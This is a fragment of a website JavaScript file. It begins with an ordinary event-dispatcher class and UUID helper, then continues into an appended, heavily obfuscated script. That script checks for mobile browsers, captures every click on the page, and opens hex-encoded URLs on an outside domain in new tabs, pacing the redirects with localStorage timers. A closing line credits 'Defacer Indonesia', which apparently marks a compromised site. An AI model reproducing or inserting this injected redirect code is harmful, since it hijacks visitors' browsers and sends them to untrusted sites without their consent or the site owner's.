> -1 if (hasListener) listeners.splice(listenerIndex, 1) } dispatch (event, details) { // Check if this event not exists if (this.events[event] === undefined) { // console.error(`This event: ${event} does not exist`); return false; } this.events[event].listeners.forEach((listener) => { listener(details); }); } getUuid() { // http://www.ietf.org/rfc/rfc4122.txt var s = []; var hexDigits = "0123456789abcdef"; for (var i = 0; i < 36; i++) { s[i] = hexDigits.substr(Math.floor(Math.random() * 0x10), 1); } s[14] = "4"; // bits 12-15 of the time_hi_and_version field to 0010 s[19] = hexDigits.substr((s[19] & 0x3) | 0x8, 1); // bits 6-7 of the clock_seq_hi_and_reserved to 01 s[8] = s[13] = s[18] = s[23] = "-"; var uuid = s.join(""); return uuid; } } function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4c\x4e\x75\x32\x63\x322','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x57\x65\x33\x63\x373','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6f\x64\x70\x30\x63\x340','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x65\x56\x37\x63\x387','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x42\x4a\x52\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x4d\x74\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x52\x4e\x48\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x76\x69\x61\x31\x63\x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x59\x72\x63\x34\x63\x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x77\x5a\x6a\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
Copyright ©2021 || Defacer Indonesia